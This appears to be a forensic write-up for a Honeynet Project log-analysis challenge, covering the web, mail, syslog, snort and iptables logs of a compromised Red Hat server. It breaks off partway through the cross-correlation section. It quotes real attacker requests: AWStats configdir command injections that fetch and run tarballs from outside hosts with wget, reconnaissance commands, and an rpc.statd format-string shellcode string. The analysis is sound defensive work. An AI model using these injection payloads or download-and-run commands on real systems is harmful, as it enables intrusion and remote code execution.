Analysis of the logfiles given in SotM34

Submitted by:
Christine Kronberg
Agleia Freeworld
System Administration
Email: smil@agleia.de

Contents

1 Introduction

A sample of logfiles were provided by The Honeynet Project. The task is to analyze the data given in order to find out what was going on during the time the data was captured.
In daily operations administrator action would be triggered by some kind of alarm (whether it comes from a firewall, an IDS or just by looking through the logfiles is irrelevant). The administrator woukd then procede by checking other logfiles to get a picture of the event.
In this case, having a sample of logfiles, the procedere is a little bit different. Right from the start there is no way of knowing what is significant. Nothing is known about the systems involved. Therefore, in the first step, the data will be checked to see what has been delivered (Part I). After that, each logfile will be checked for events and incidents. Everything that appears to be out of the ordinary will be documented. Additionally, whatever can be learned from the system itself will be noted (Part II). Once the relevant incidents have been extracted, those logfile entries will be cross correlated against the logfile entries of the other services (i.e. iptables, snort, http, syslog; this is done in Part III).
The fourth and final part is the summary and the conclusion of the analysis.

The analysis was done on a Linux system primarily using system commands like `grep`, `more` and `wc`. Additional software tools used for analysis will be noted in the text.

2 Part I: About the data

The first task after unpacking the data is to look what is delivered. This provides a first impression of the amount of data involved and shows which parts can be analyzed manually and which require the help of tools. The number of logfile entries is determined using the command *wc -l*.
The following logfiles were found in the gzipped tarball:

In subdirectory http:

In this directory the logfiles of the webserver were placed.

access_log	error_log	ssl_error_log
access_log.1	error_log,1	ssl_error_log.1
access_log.2	error_log.2	ssl_error_log.2
access_log.3	error_log.3	ssl_error_log.3
access_log.4	error_log.4	ssl_error_log.4
access_log.5	error_log.5	ssl_error_log.5
access_log.6	error_log.6	ssl_error_log.6
3554 entries	3692 entries	374 entries

Time ranges:

access_log*:	30/Jan/2005:04:34:59 -0500	to	17/Mar/2005:11:38:27 -0500
error_log*:	Thu Mar 17 11:38:27 2005	to	Thu Mar 17 11:38:27 2005
ssl_error_log*:	Sun Mar 13 04:05:45 2005	to	Wed Mar 16 01:01:43 2005

No ssl_access_log* were found in the tarball.

The number of logentries is sufficiently high that a tool will be helpful. However, the first step will be to look directly in the logfiles to see if there are entries which can safely be ignored.

In subdirectory iptables:

One file, **iptablesyslog**, with 179752 entries. This covers the connection data flowing through the gateway.

Time range: Feb 25 12:11:24 to Mar 31 23:57:48

The large amount of logfile entries would require the usage of a tool unless the data will only be used for cross correlation (verifying the traffic found and looking for related activity).

In subdirectory snort:

One file, **snortsyslog**, with 69039 entries. This covers the alarms triggered by the NIDS snort. The ruleset is not known.

Time range: Feb 25 12:21:33 to Mar 31 23:49:38

The large number of logfile entries require the usage of a tool to get an overview of the alarms. This will be done using the tool *SnortSnarf*[1].

In subdirectory syslog

The logfiles given cover the mail traffic (smtp, pop3) within the maillog.* files, the general system messages within the messages.* files and the login information in the secure.* files (sshd, pop3).

maillog	messages	secure
maillog.1	messages.1	secure.1
maillog.2	messages.2	secure.2
maillog.3	messages.3	secure.3
maillog.4	messages.4	secure.4
maillog.5	messages.5	secure.5
maillog.6	messages.6	secure.6
1172 entries	1166 entries	1587 entries

Time ranges:

maillog*:	Jan 30 04:19:27	to	Mar 17 04:14:33 from host combo
messages*:	Jan 30 04:09:22	to	Mar 17 13:06:36 from host combo
secure*:	Jan 31 06:16:51	to	Mar 17 12:59:00 from host combo

With "grep -v combo <file>" it has been verified that the logfile entries were all from host combo. No other host was found.

The number of entries in the syslog/* files are sufficiently low that they can be viewed manually.

Summary:
The various logfiles each start with a different date. Even if the systems involved are not time synchronized (this has to be determined), it is obvious that some information cannot be confirmed by cross correlation. It is assumed unlikely that the system times differ by weeks.
A reasonable cross correlation can be done starting on February 25th. Note however, the older entries of http and syslog may contain some additional, useful information. In the next part, the entries are analyzed for content.

[1] http://www.silicondefense.com/software/snortsnarf/

3 Part II: Searching through the logfiles for incidents

In this part the logfiles will be search for irregular entries. To make life easier, port scans will not be considered an incident (although they are usually the first step) compromising system security. Yet the scans will be considered for correlation in Part III.
As no ssl_access file was provided the log entries will be ignored in the first analysis. There are some error messages, but no IP addresses. If it turns out to be necessary they will be used for cross correlation in Part III.

3.1 Analyzing the http files

According to error_log: An Apache/2.0.40 (Red Hat Linux) webserver is in place.

Browsing through the logfiles yielded that the following entries in the access_log* files can be ignored:

1. Double decoding scans (nimda type) with error code 404
2. Code Red Scans (default.ida) with code 404
3. /NULL.printer scans with error code 404
4. /sumthin scans with error code 404
5. /_vti_bin/_vti_aut/fp30reg.dll scans with error code 404 7
6. /scripts/nsiislog.dll scans with error code 404
7. GET / HTTP/1.0" with error code 403

Reasons for this decision:
The error code 404 means "file not found", therefore no damage was done or is possible[2]. As a Apache webserver is running the IIS exploits nr. 1, 2, 3, 5 and 6 should have no effect anyway unless the server is broken on purpose. For this analysis, it is assumed that this is not the case.
Number 4 of the list above results from a webserver fingerprinting tool. Therefore, it falls in the class of scans, which will not be considered unless a connection to a compromise can be proven.
Number 7 is ignored as it is clear from the error_log files that the web server was configured not to serve a default page. The error message was:
`Directory index forbidden by rule: /var/www/html/`. The same applies for the corresponding requests using HTTP/1.1. Not however, this kind of traffic was also present during the AWStats attacks (see table below) presumably to generate some additional noise.
From the 3554 logfile entries in access_log 1424[3] remained after the traffic above was removed. The following incidents were left:

Incident	Description	Success	Compromise
CONNECT scans	59 attempts from various IP addresses were found to the ports 25/tcp, 80/tcp, 1337/tcp and 6668/tcp. Return code: 405 (METHOD NOT ALLOWED).	No	No
OPTIONS scans	46 attempts to get information about the configured methods. Return code 200 (OK).	Yes	No
Scan for vulnerable PHP scripts	410 attempts from IP 210.118.169.20 on 09/Mar/2005. Return Code 404 (FILE NOT FOUND).	No	No

[2]Entirely neglecting the 404 is not a good idea. There might have been changes to the web server. If found, those would be noted as incidents.
[3]4 logentries requesting two apache gif files were considered legitimate traffic.

Incident	Description	Success	Compromise
Proxy requests	260 attempts from various IP addresses to use the webserver as an open proxy for port 80/tcp as well as port 25/tcp. Tried methods were POST requests and "GET http://<target host>. There return codes were 404 (FILE NOT FOUND) and 403 (FORBIDDEN).	No	No
HTTP/1.1 request without hostname	23 attempts from IP 220.110.29.27. Return code 400 (BAD REQUEST)	No	No
AWStats scans	559 attempts to find and exploit a awstats.pl script (Annotation: Return codes: 200 (OK), 403 (FORBIDDEN), 404 (FILE NOT FOUND) and 500 (INTERNAL SERVER ERROR)	**possible**	**possible**

From what we see here, the last incident must be further investigated. As the task is to find a possible intrusion, only those log entries which returned a "200 (OK)" will be considered. The entries are extracted from the logfiles using the command:

```
grep " 200 " access\_log* |grep -i awstat > awstats.log
```

This results in 90 entries showing the following history:

AWstats Incident1:

26/Feb/2005 14:10:36 from 213.135.2.227:
`"GET /cgi-bin/awstats.pl HTTP/1.0" 200 760 "-" "-"`

26/Feb/2005 14:13:38 from 213.135.2.227:
`"GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro %2faw.tgz%3b%20tar%20zxf%20aw.tgz%3b%20rm%20-f%20aw.tgz%3b%20cd%20.aw%3b%20.%2f inetd%20%7c%20 HTTP/1.1" 200 410 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"`

(Line wrapped for easier reading).
The part after *?configdir=* decodes to[4]:

```
| cd /tmp;wget www.shady.go.ro/aw.tgz; tar zxf aw.tgz; rm -f aw.tgz; cd .aw; ./inetd |
```

The return code 200 implies that the HTTP request was successful. This does not imply that the commands issued are successful, too.
Using the command *grep 213.135.2.227 ** in the http directory shows the requests listed above and the entries below in the file error_log.3 (still for Sat Feb 26 14:13:56 2005):

```
[error] [client 213.135.2.227] --14:13:41--  http://www.shady.go.ro/aw.tgz
[error] [client 213.135.2.227]            => `aw.tgz'
[error] [client 213.135.2.227] Resolving www.shady.go.ro... done.
[error] [client 213.135.2.227] Connecting to www.shady.go.ro[81.196.20.134]:80... connected.
[error] [client 213.135.2.227] HTTP request sent, awaiting response... 200 OK
[error] [client 213.135.2.227] Length: 205,207 [text/plain]
[error] [client 213.135.2.227]
[error] [client 213.135.2.227]     0K ......... ......... ......... ......... ......... 24%   59.03 KB/s
[error] [client 213.135.2.227]    50K ......... ......... ......... ......... ......... 49%  101.01 KB/s
[error] [client 213.135.2.227]   100K ......... ......... ......... ......... ......... 74%   21.35 KB/s
[error] [client 213.135.2.227]   150K ......... ......... ......... ......... ......... 99%   50.00 KB/s
```

[4]Decoding was done manually by using the information provided by the command .

```
[error] [client 213.135.2.227]   200K                                                    100%  397.46 KB/s
[error] [client 213.135.2.227]
[error] [client 213.135.2.227] 14:13:56 (42.78 KB/s) - 'aw.tgz' saved [205207/205207]
[error] [client 213.135.2.227]
[error] [client 213.135.2.227] sh: /awstats.11.11.79.89.conf: No such file or directory
```

This shows that the wget command issued over the awstats.pl script was indeed successful. The question, were the rest of the commands successful too, might be answered by the cross correlation in Part III.
IP 213.135.2.227 did not show up again in the http logs. On 26/Feb/2005 14:14:4 the same request was issued by 82.55.78.243 with the same result.

AWstats Incident2:

26/Feb/2005 21:13:25 from 212.203.66.69:
`GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3buname%20%2da%3bw%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 746 "-" "-"`

(Line wrapped for better reading).
The part after *?configdir=* decodes to:
`|echo ;echo b_exp;uname -a;w;echo e_exp;%00`

This is an attempt to check for a file. From the same IP a number of other attempts were tried also (see below; the decoded commands are below the GET requests):

26/Feb/2005:22:04:20:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20e_exp%3b%2500 HTTP/1.1" 200 746 "-" "-"

`|echo ;echo b_exp;uname -a;w;echo e_exp;%00`

26/Feb/2005:22:04:32:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcat%20%2fetc%2f%2aissue%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 566 "-" "-"

`|echo ;echo b_exp;cat /etc/*issue;echo e_exp;%00`

26/Feb/2005:22:04:42:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2dal%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 899 "-" "-"

`|echo ;echo b_exp;cd /tmp;ls -al;echo e_exp;%00`

26/Feb/2005:22:08:34:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2dal%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 899 "-" "-"

`|echo ;echo b_exp;cd /tmp;ls -al;echo e_exp;%00`

26/Feb/2005:22:08:42:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bcurl%3becho%20 e_exp%3b%2500 HTTP/1.1" 200 510 "-" "-"

`|echo ;echo b_exp;cd /tmp;curl;echo e_exp;%00`

26/Feb/2005:22:10:52:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2dal%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 961 "-" "-"

`|echo ;echo b_exp;cd /tmp;ls -al;echo e_exp;%00`

26/Feb/2005:22:11:39:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2dal%3b echo%20e_exp%3b%2500 HTTP/1.1" 200 961 "-" "-"

`|echo ;echo b_exp;cd /tmp;ls -al;echo e_exp;%00`

26/Feb/2005:22:12:22:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bls%20%2dal%3b
echo%20e_exp%3b%2500 HTTP/1.1" 200 961 "-" "-"

```
|echo ;echo b_exp;cd /tmp;ls -al;echo e_exp;%00
```

26/Feb/2005:22:12:28:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3brm%20%2drf
%20t%2a%3becho%20e_exp%3b%2500 HTTP/1.1" 200 515 "-" "-"

```
|echo ;echo b_exp;cd /tmp;rm -rf t*;echo e_exp;%00
```

26/Feb/2005:22:08:57:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3blynx%20%2d
source%20www%2eadjud%2ego%2ero%2ft%2etgz%20%3e%20t%2etgz%3bls%20%2dla%3becho%20e_exp
%3b%2500 HTTP/1.1" 200 942 "-" "-"

```
|echo ;echo b_exp;cd /tmp;lynx -source www.adjud.go.ro/t.tgz > t.tgz;ls -la;echo e_exp;%00
```

26/Feb/2005:22:11:17:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3b
lynx%20%2dsource%20www%2emaveric%2ecom%2ft%2etgz%20%3e%20t%2etgz%3bls%20%2dal
%3becho%20e_exp%3b%2500 HTTP/1.1" 200 942 "-" "-"

```
|echo ;echo b_exp;cd /tmp;lynx -source www.maveric.com/t.tgz > t.tgz;ls -al;echo e_exp;%00
```

26/Feb/2005:22:04:55:
"GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20
www%2eadjud%2ego%2ero%2ft%2etgz%3btar%20zxvf%20t%2etgz%3b%2e%2ft%3becho%20e_exp%3b%2500
HTTP/1.1" 200 6 "-" "-"

```
|echo ;echo b_exp;cd /tmp;wget www.adjud.go.ro/t.tgz;tar zxvf t.tgz;./t;echo e_exp;%00
```

(Lines wrapped for easier reading).

The attacker tried to gather information about the system using the commands `uname -a` and `cat /etc/issue` and to download his stuff using `lynx` and `wget`. Looking at the timestamps the logfile entries are a bit mixed. One reason for that might be that the downloads took time, which the attacker used otherwise.
The error_log files reveal the following:

1. The lynx command did not work:
   ```
   lynx:  Can't access startfile http://www.adjud.go.ro/t.tgz
   lynx:  Can't access startfile http://www.maveric.com/t.tgz
   ```

2. The wget connection to www.adjud.go.ro timed out. That explains why the corresponding logfile entry was after more recent ones.
   As the connection timed out, no file was downloaded, unpacked and started. The attack was, from this point of view, unsuccessful.

AWstats Incident3:

04/Mar/2005 02:41:25 from 82.49.16.150:
```
"GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3b%20rm%20-rf%20.aw%3b%20
killall%20-9%20inetd%20%7c%20 HTTP/1.1" 200 365 "-" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; FunWebProducts)"
```

04/Mar/2005 03:22:17 from 82.49.16.150:
```
"GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2fa.tgz%3b
%20tar%20zxf%20a.tgz%3b%20rm%20-f%20a.tgz%3b%20.%2fa%20%7c%20 HTTP/1.1" 200 395 "-"
```

```
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"
```

(Line wrapped for better reading).
The part after *?configdir=* decodes to[5]:

```
| cd /tmp; rm -rf .aw; killall -9 inetd |
| cd /tmp; wget www.shady.go.ro/a.tgz; tar zxf a.tgz; rm -f a.tgz; ./a |
```

In the way these commands were issued, there is a strong resemblance to the AWstats Incident1 on February 26th. In February, that inetd was started, now the attacker wants to shut it down. This is an indication, yet no proof, that the same attacker is responsible for both attacks.
The file error_log.2 reveals that again the file download was successful, yet there was a problem binding a program to a port:

```
[Fri Mar 04 02:41:28 2005] [error] [client 82.49.16.150] sh: /awstats.11.11.79.67.conf: No such file or directory
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] --03:22:20--  http://www.shady.go.ro/a.tgz
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150]            => 'a.tgz'
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] Resolving www.shady.go.ro... done.
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] Connecting to www.shady.go.ro[81.196.20.134]:80... connected
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] HTTP request sent, awaiting response... 200 OK
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] Length: 8,086 [text/plain]
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150]
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150]     0K .......                                  100%   35.10 KB/s
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150]
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] 03:22:28 (35.10 KB/s) - 'a.tgz' saved [8086/8086]
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150]
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] bind: Address already in use
[Fri Mar 04 03:22:29 2005] [error] [client 82.49.16.150] sh: /awstats.11.11.79.67.conf: No such file or directory
```

This indicates that either the desired port was used by some other application or that the killall command did not work.

AWstats Incident4:

The rest of the accesses to awstats.pl were scans from two IP addresses (64.62.145.98 on March th and 210.51.12.238 on March 7th) issueing the command `| id | .` Although these attempts were successful, no intrusion of the system took place. Therefore, these attempts will not be investigated any further.

Conclusions from analyzing the www log entries:

There were at least two attackers who exploited a vulnerable script. The procedures in exploiting exploiting the script indicate that these was indeed more than one person attacking.
The first and third AWstats Incident was successful and probably performed by the same person. Both of these attacks deserve a deeper investigation in Part III.

3.2 Analyzing the syslog files

As the numer of entries in the logfiles given, were not too high, the analysis was perfomed by the command *more* to page through each logfile. Everything that was considered out of the ordinary is listed below. The cronjobs for news and cups have been ignored.

[5] Decoding was done manually using the information from the command `man ascii`.

3.2.1 secure entries

These files cover the successful as well as the failed attempts to log into the server.

- SSH scans
  There are two types of SSH scans in the secure logfiles:

  1. Scanning for the existence of a sshd running (usually leaves the message `Did not receive identification string from .`
  2. SSH brute force scans: Passwords for several accounts are automatically tested to gain access to the system using accounts with weak passowrds.

  These scans are noisy, but harmless unless an insufficiently protected account is found.

- **SSH Incident:**
  The very first entry on January 31th is a successful login via ssh from 63.203.221.245 to the test account. Several others follow throughout the time range. But: none of the successful logins as user test are within the broad scans. However there are entries with may successful logins as user test from one IP within one or two seconds.
  Example:

```
Feb 4 12:12:19 combo sshd[7730]:  Accepted password for test from 210.224.161.172 port 4805 ssh2
Feb 4 12:12:19 combo sshd[7727]:  Accepted password for test from 210.224.161.172 port 4797 ssh2
Feb 4 12:12:19 combo sshd[7728]:  Accepted password for test from 210.224.161.172 port 4798 ssh2
Feb 4 12:12:19 combo sshd[7729]:  Accepted password for test from 210.224.161.172 port 4800 ssh2
Feb 4 12:12:19 combo sshd[7735]:  Accepted password for test from 210.224.161.172 port 4810 ssh2
Feb 4 12:12:20 combo sshd[7737]:  Accepted password for test from 210.224.161.172 port 4816 ssh2
Feb 4 12:12:20 combo sshd[7739]:  Accepted password for test from 210.224.161.172 port 4822 ssh2
Feb 4 12:12:20 combo sshd[7740]:  Accepted password for test from 210.224.161.172 port 4827 ssh2
Feb 4 12:12:20 combo sshd[7743]:  Accepted password for test from 210.224.161.172 port 4833 ssh2
Feb 4 12:12:20 combo sshd[7744]:  Accepted password for test from 210.224.161.172 port 4835 ssh2
```

  Checking against the logfiles provided by syslog, it is not clear why a successful login to the test account was performed so often. Two reasons can be assumed:

  1. The account has no password at all attempts are therefore successful.
  2. The scan was about several nodes which all log into that file.

  We will need cross correlation to find out which is true.

- SSH Server restart:
  Feb 11 13:23:37 combo sshd[1706]: Server listening on 0.0.0.0 port 22.

- POP3:

```
Mar 12 02:25:12 combo xinetd[21815]: START: pop3 pid=21823 from=146.83.8.224
Mar 12 02:25:21 combo xinetd[21815]: EXIT: pop3 pid=21823 duration=9(sec)
Mar 12 02:37:07 combo xinetd[21996]: START: pop3 pid=21999 from=151.25.187.213
Mar 12 02:37:19 combo xinetd[21996]: EXIT: pop3 pid=21999 duration=12(sec)
```

```
Mar 12 02:43:32 combo xinetd[21996]: START: pop3 pid=22042 from=146.83.8.224
Mar 12 02:43:38 combo xinetd[21996]: EXIT: pop3 pid=22042 duration=6(sec)
Mar 12 02:43:38 combo xinetd[21996]: START: pop3 pid=22045 from=146.83.8.224
Mar 12 02:47:31 combo xinetd[21996]: EXIT: pop3 pid=22045 duration=233(sec)
Mar 12 02:47:46 combo xinetd[21996]: START: pop3 pid=22098 from=146.83.8.224
Mar 12 03:18:16 combo xinetd[21996]: EXIT: pop3 pid=22098 duration=1830(sec)
Mar 12 22:20:21 combo xinetd[21996]: START: pop3 pid=24969 from=195.22.66.28
Mar 12 22:20:38 combo xinetd[21996]: EXIT: pop3 pid=24969 duration=17(sec)
```

Those were the only pop3 entries found. They might be ok or not. From the logfile this is not obvious.

3.2.2 message entries

- RPC Attack:

  There were a couple of attacks directed against a glibc bug in the rpc XDR decoder library. As no IP address is given, only the time stamp can help to further track down whether or not a problem occured. The messages files themselves did not show any problems around that time.

  Example:

```
Feb  4 16:10:24 combo rpc.statd[1601]: gethostbyname error for
^X^X^Z^Z%8x%8x%8x%8x%8x%8x%8x%8x%8x%62716x%hn%51859x%hn\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220
```

  Time stamps:

```
Feb  4:  16:10:24  16:10:26
Mar  6:  11:56:20  11:56:20   11:56:21   11:56:22
Mar  8:  01:17:22
Mar 16:  05:39:05  05:39:05   05:39:05   05:39:06   05:39:06
```

- System restart:

```
Feb 11 13:23:32 combo syslogd 1.4.1: restart.
Feb 11 13:23:32 combo syslog: syslogd startup succeeded
Feb 11 13:23:32 combo kernel: klogd 1.4.1, log source = /proc/kmsg started.
Feb 11 13:23:32 combo kernel: Linux version 2.4.20-8 (bhcompile@porky.devel.redhat.com)
   (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 Thu Mar 13 17:54:28 EST 2003
```

There has been no indication been found (yet) as to why the system was rebooted. It might be part of an attack, but this has to be verified.
The reboot explains the restart of the SSH server (it was in exactly that time frame).

The system restart gives some more information:
The following IP address are configured on that server:

```
11.11.79.67   11.11.79.69   11.11.79.70   11.11.79.71   11.11.79.72   11.11.79.73
11.11.79.75   11.11.79.80   11.11.79.81   11.11.79.82   11.11.79.83   11.11.79.84
11.11.79.85   11.11.79.87   11.11.79.89   11.11.79.90   11.11.79.95   11.11.79.100
11.11.79.105  11.11.79.110  11.11.79.115  11.11.79.120  11.11.79.125
```

- ROOT LOGIN:

```
Feb 24 09:02:28 combo kernel: keyboard: unknown scancode e0 63
Feb 24 09:02:28 combo last message repeated 3 times
Feb 24 09:02:33 combo login(pam_unix)[2107]: session opened for user root by LOGIN(uid=0)
Feb 24 09:02:33 combo  -- root[2107]: ROOT LOGIN ON tty1
Feb 24 09:06:20 combo httpd: httpd shutdown succeeded
Feb 24 09:06:27 combo httpd: httpd startup succeeded
Feb 24 09:14:59 combo login(pam_unix)[2107]: session closed for user root
Mar 17 13:06:36 combo login(pam_unix)[17812]: session opened for user root by LOGIN(uid=0)
Mar 17 13:06:36 combo  -- root[17812]: ROOT LOGIN ON tty1
```

Might be ok if it can be verified that the root login was not part of the attack.

- Crash of xinetd:

```
Mar 12 02:24:07 combo xinetd[1720]:  Exiting...
Mar 12 02:24:08 combo xinetd:  xinetd shutdown succeeded
Mar 12 02:24:11 combo xinetd[21815]:  xinetd Version 2.3.10 started with libwrap
options compiled in.
Mar 12 02:24:11 combo xinetd[21815]:  Started working:  2 available services
Mar 12 02:24:11 combo xinetd:  xinetd startup succeeded
Mar 12 02:31:34 combo xinetd[21815]:  Exiting...
Mar 12 02:31:34 combo xinetd:  xinetd shutdown succeeded
Mar 12 02:31:35 combo xinetd[21943]:  xinetd Version 2.3.10 started with libwrap
options compiled in.
Mar 12 02:31:35 combo xinetd[21943]:  Started working:  2 available services
Mar 12 02:31:37 combo xinetd:  xinetd startup succeeded
Mar 12 02:37:00 combo xinetd[21996]:  pmap_set failed.  service=sgi_fam program=391002
version=2
Mar 12 02:37:01 combo xinetd[21996]:  xinetd Version 2.3.10 started with libwrap
options compiled in.
Mar 12 02:37:01 combo xinetd[21996]:  Started working:  1 available service
Mar 12 02:37:03 combo xinetd:  xinetd startup succeeded
```

The xinetd going up and down for no apparent reason can be an indication of an attack. This must be verified by cross correlation.

3.2.3 mail entries:

- System Load:

  Node combo seems to have had a severe problem on Mar 6th:

```
Mar 6 16:06:48 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  13
Mar 6 16:07:08 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  26
...
Mar 6 16:23:51 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  189
Mar 6 16:24:09 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  192
...
Mar 6 16:55:45 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  15
Mar 6 16:56:00 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  12
Mar 6 16:56:15 combo sendmail[1746]:  accepting connections again for daemon MTA
```

  The peak was a load of 192.

  The same problem occured on Mar 7th:

```
Mar 7 11:59:15 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  22
Mar 7 11:59:30 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  21
Mar 7 11:59:45 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  20
Mar 7 12:00:00 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  16
Mar 7 12:00:15 combo sendmail[1746]:  rejecting connections on daemon MTA: load average:  13
Mar 7 12:00:30 combo sendmail[1746]:  accepting connections again for daemon MTA
```

  There are a lot of `did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA`; one of them ended with the from address "support@microsoft.com" originating from 211.48.102.139. Usually those entries are from address verification programs, but they can also be a sign of virus activity.

- Relay attempts:

  Several relay attempts were found in January and early February (maillog.6). None of them were successful. Even in the case of success, the system security would not have been in danger. Therefore this incident will not be considered in the ongoing analysis.

- Rebuilding aliases:

  Aliases were rebuild and the sendmail daemon restarted:

```
Feb 11 13:23:42 combo sendmail[1734]: alias database /etc/aliases rebuilt by root
Feb 11 13:23:42 combo sendmail[1734]: /etc/aliases: 63 aliases, longest 10 bytes, 625 bytes
Feb 11 13:23:42 combo sendmail[1746]: starting daemon (8.12.8): SMTP+queueing@01:00:00
Feb 11 13:23:43 combo sm-msp-queue[1755]: starting daemon (8.12.8): queueing@01:00:00
Feb 11 13:23:58 combo spamd[1765]: server started on port 783 (running version 2.44)
```

  This correlates with the reboot and therefore will not be further considered.

- POP3:
  Mar 12 02:25:13 combo ipop3d[21823]: pop3 service init from 146.83.8.224 Mar 12 02:25:21 combo ipop3d[21823]: Command stream end of file while reading line user=??? host=condor.dgf

  The same happened on
  Mar 12 02:37:19 from 151.25.187.213

3.3 Analyzing the snort logfile

The preliminary analysis was done with SnortSnarf v021111.1. The complete listing of alarms can be found in appenix A. The single alarms will not be discussed here in detail. Just some of the eye catchers are listed.
From the analysis of the other logfiles a couple of things are already known and are reflected in the snort logfile, like the IIS scans or the web attacks alarms. The following items are new to the picture gained so far:

- There is a high number of IRC related alarms.
- There is one alarm about the usage of TFTP. Even if it is only one, TFTP is often used for downloads.
- There is a high number of MS-SQL OUTBOUND alarms. Although we have no indication of a MS system being involved, it is possible that after a successful intrusion, attacks against other systems have taken place. That could explain the MS-SQL worm propagation traffic alarms. This must be verified or proven false.
- There is a high number of alarms *Potential MySQL bot scanning*.

The TFTP alarm was triggered by the IP 60.248.80.102 trying to retrieve some file. Without the payload that triggered the alarm it is not possible to tell whether the attack was successful or not. As there was no further attempt it is assumed that the attack was not successful.
Taking a closer look to the alarms triggered by traffic originating from this IP address it comes into view that this TFTP get request was part of a scan (there are lot of ICMP Port Unreachable messages sent to that address in the same time frame).

Checking the snort logfile it seems that the word OUTBOUND is misleading as all the traffic is flowing to a internal host. Unfortunately the configured snort rules have not been delivered. The triggered alarms are assumed to be false positives unless more information is showing up.

The potential MySQL bot scanning alarms are considered harmless.

3.4 Analyzing the iptables logfile

As said in Part I, the iptables information will only be used for the cross correlation in Part III.

4 Part III: Cross Correlation

From the logfile analysis done in Part II we found the following two possible intrusions:

1. AWstats Incidents1 and AWstats Incidents3.

2. Successful logins as user *test*.

4.1 Intrusion1: AWstats Incident1 and AWstats Incident3

Incident1 took place on **February 26th 14:13:38** originating from IP 213.135.2.227. In the logfiles from iptables we find the following entries from that IP:

```
Feb 26 17:45:03 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=213.135.2.227
DST=11.11.79.89 LEN=48 TOS=0x00 PREC=0x00 TTL=107 ID=49812 PROTO=TCP SPT=32452 DPT=80 WINDOW=65535
RES=0x00 SYN URGP=0

Feb 26 18:57:37 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=213.135.2.227
DST=11.11.79.89 LEN=60 TOS=0x00 PREC=0x00 TTL=43 ID=57562 DF PROTO=TCP SPT=49727 DPT=80 WINDOW=5840
RES=0x00 SYN URGP=0

Feb 26 19:00:39 bridge kernel: INBOUND TCP: IN=br0 PHYSIN=eth0 OUT=br0 PHYSOUT=eth1 SRC=213.135.2.227
